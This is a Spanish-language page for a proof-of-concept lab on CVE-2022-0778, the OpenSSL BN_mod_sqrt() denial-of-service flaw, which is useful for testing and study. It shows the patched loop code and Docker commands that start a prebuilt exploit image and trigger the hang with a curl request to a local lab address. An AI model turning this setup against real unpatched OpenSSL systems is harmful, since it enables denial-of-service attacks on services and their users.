
Exploit de prueba de concepto para CVE-2022-0778, una vulnerabilidad de denegación de servicio en la función BN_mod_sqrt() de OpenSSL, con un entorno de laboratorio basado en Docker para pruebas y análisis.
Colaboradores
La vulnerabilidad CVE-2022-0778 afecta a la función BN_mod_sqrt() de OpenSSL que calcula la raíz cuadrada de un número primo.
Cuando esta función procesa un certificado maliciosamente manipulado que no está basado en un número primo, los servidores sin parche pueden estar expuestos a un ataque DoS.
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
/* If not found, a is not a square or p is not prime. */
if (i >= e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
while original se cambió por una sentencia for.Configuración del entorno Ubuntu
docker compose up -d Ejecutar el entorno de prueba
docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
docker compose exec curl top Verificar el estado del proceso
docker compose exec curl bash Ejecutar bash
curl -k https://172.17.0.1:12345 Enviar solicitud HTTPS al puerto 12345

docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345 para iniciar la imagen Docker.
docker compose exec curl top para observar el estado de los procesos en ejecución.
docker compose exec curl bash y luego envíe una solicitud HTTPS al puerto 12345 con curl -k https://172.17.0.1:12345.